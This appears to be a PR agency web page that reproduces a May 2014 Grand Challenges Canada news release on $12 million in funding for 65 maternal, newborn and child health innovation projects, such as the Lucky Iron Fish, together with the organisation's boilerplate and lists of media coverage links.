Grand Challenges Canada is dedicated to supporting Bold Ideas with Big Impact in global health. We are funded by the Government of Canada; we support innovators in low- and middle-income countries and Canada. The bold ideas we support integrate science and technology, social and business innovation to find sustainable solutions to health challenges – we call this Integrated Innovation. Grand Challenges Canada focuses on innovator-defined challenges through its Stars in Global Health program, and on targeted challenges through its Saving Lives at Birth, Saving Brains and Global Mental Health programs. Grand Challenges Canada works closely with Canada’s International Development Research Centre (IDRC), the Canadian Institutes of Health Research (CIHR) andthe Department of Foreign Affairs, Trade and Development Canada (DFATD) to catalyze scale, sustainability and impact. We have a determined focus on results, and on saving and improving lives. http://www.grandchallenges.ca

News release in full, click here

Example coverage

Globe and Mail, click here

CBC, click here

Agencia EFE (Spanish news agency), click here

Hamilton Spectator, click here

Sudbury Star, click here

CBC Sudbury, click here

Coverage summary, click here

 

 

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Canada funds 65 innovative health projects to help save every woman, every child https://terrycollinsassociates.com/canada-funds-65-innovative-health-projects-to-help-save-every-woman-every-child/ Thu, 22 May 2014 18:51:49 +0000 https://terrycollinsassociates.com/canada-funds-65-innovative-health-projects-to-help-save-every-woman-every-child/ Grand Challenges Canada, Toronto

22 May 2014

New investments top $12 million: 4 scale-up projects plus 61 seed grants announced as Canada prepares to host world summit on maternal, newborn and child health, May 28-30

14237249481_9ebf000c59_mGrand Challenges Canada, funded by the Government of Canada, today announces investments of $12 million in projects worldwide, aimed squarely at improving the health and saving the lives of mothers, newborns and children in developing countries.

From a “lucky iron fish” placed in tens of thousands of Asian cooking pots to reduce anemia, to “motherhood insurance” to ensure that poverty doesn’t impede emergency care if needed during a baby’s delivery, to kits for home farming edible insects to improve nutrition in slums of Africa and Latin America, the 65 imaginative projects focus on a range of health problems that, despite major progress, continue to kill millions of women, newborns and children each year.

Four Canadian-based projects (from Guelph, Toronto, Waterloo and Winnipeg) with proven impact and sustainability will share $2.6 million in scale-up grants and loans from Grand Challenges Canada, matched by $2.6 million from private and public partners, bringing total “transition-to-scale” investments to $5.2 million.

In addition, Grand Challenges Canada “Stars in Global Health” seed grants of $112,000 each ($6.8 million in total) are awarded to:

  • 35 innovators from 13 developing countries in Asia, Africa and Latin America
  • 26 Canadian-based innovators from the following cities: Vancouver (5 grants), Saskatoon (3 grants), Calgary, Victoria, Edmonton, Montreal, Toronto (2 grants each), Kamloops, Oakville, Oshawa, Ottawa, Waterloo, Sherbrooke, Laval, Sydney.

The announcement coincides with preparations in Toronto to host ‘Saving Every Woman Every Child: Within Arm’s Reach’, a global summit on maternal, newborn and child health, being held from May 28 to 30. Organized by the Government of Canada, the Summit will assess progress on the Canadian-led “Muskoka Initiative” inaugurated at the G8 meeting in 2010. Canada has been a world leader in promoting the health and reducing mortality rates of women and children in developing countries.

To be implemented across 25 low- and middle-income countries, all of today’s projects relate to the Summit goal of leveraging innovation. That also relates closely to one or more of the other critical issues at the heart of the Summit’s agenda:

  • Accelerating progress on maternal health
  • Reducing newborn mortality
  • Saving lives through immunization
  • Scaling up nutrition as a foundation for healthy lives
  • Building civil registration and vital statistics systems
  • Building new partnerships with the private sector to leverage innovation and financing

Examples include:

  • The little “Lucky Iron Fish,” now in growing use by cooks in Cambodia, has proven effective in reducing rampant iron deficiency among women – the cause of premature labour, hemorrhaging during childbirth and poor brain development among babies. Initial local reluctance to use a loose piece of iron in cooking pots was overcome by a clever design tapping into Cambodian folklore about a fish species that brings good fortune. In partnership with small businesses across Cambodia, plans for this year and next call for production and distribution of 60,000 lucky iron fish, made from recycled material at a cost of about $5 each, which provide health benefits for roughly three years. (Lucky Iron Fish, Guelph, a transition-to-scale investment, grant #0355, videoimages. More information: http://bit.ly/1mIZeWr)
  • All projects, listed geographically:
  • Asia: 26 projects, total investment: $5.7 million: http://bit.ly/1sbmOIu
  • Africa: 31 projects, total investment: $4.86 million: http://bit.ly/RxudX1
  • Latin America / Caribbean: 8 projects, total investment: $1.4 million: http://bit.ly/1mKMXMw
  • All Canadian-based projects: 30 projects, including four transition to scale investments: http://bit.ly/1mIZeWr
  • All projects listed by health priority: http://bit.ly/1oeOZIV

“Our government is proud of the progress on promises Canada and other nations made as part of the Muskoka Initiative to improve the health and save the lives of women, newborns and children in the developing world,” said the Honourable Christian Paradis, Minister of International Development and Minister for La Francophonie. “By supporting innovative proof-of-concept projects and the scale-up of proven ideas, and by leveraging additional private sector knowledge and funds, a difference is being felt in health conditions in developing countries. The creation of jobs here and abroad serves as an added benefit.”

Dr. Peter A. Singer, Chief Executive Officer at Grand Challenges Canada notes that, Grand Challenges Canada selects projects that embody the “Integrated Innovation” approach – the combination of science and technology with social and business innovation to find sustainable solutions to health challenges.

“All of the projects announced today illustrate the power of innovation to save and improve the lives of women and children,” says Dr. Singer. “Innovation really means that tomorrow will be a brighter day than today for those who need it the most in developing nations. I salute the global leadership Canada is showing in focusing the world’s attention on saving every woman and every child.”

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About Grand Challenges Canada

Grand Challenges Canada is dedicated to supporting Bold Ideas with Big Impact in global health. We are funded by the Government of Canada and we support innovators in low- and middle-income countries and Canada. The bold ideas we support integrate science and technology, social and business innovation to find sustainable solutions to health challenges – we call this Integrated Innovation®. Grand Challenges Canada focuses on innovator-defined challenges through its Stars in Global Health program and on targeted challenges in its Saving Lives at Birth, Saving Brains and Global Mental Health programs. Grand Challenges Canada works closely with Canada’s International Development Research Centre (IDRC), the Canadian Institutes of Health Research (CIHR) and the Department of Foreign Affairs, Trade and Development Canada (DFATD) to catalyze scale, sustainability and impact. We have a determined focus on results, and on saving and improving lives. http://www.grandchallenges.ca

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News release in full, click here

Example coverage by:

Globe and Mail, “Canada keeps its funding promises,” click here

Vancouver Sun“A simple B.C. fix for saving babies; Cambodia: UBC tests elegant solution to vitamin deficiency…fish sauce,” click here

Edmonton Journal“Two University of Alberta scholars win grants to attack global health issues,” click here

Halifax Chronicle Herald“CBU helping South Sudan; Sydney school to use federal aid in project to train community health workers,” click here

Waterloo Region Record, “Waterloo charity gets $1.5M to combat malaria in Tanzania,” click here

Cape Breton Post“Cape Breton University professor behind South Sudanese health project,” click here

Guelph Mercury, “Iron Fish Project gets $500,000 in matching cash,” click here

Agencia EFE, “Canadá financiará ocho proyectos sanitarios en Latinoamérica y el Caribe,” click here

Coverage summary, click here

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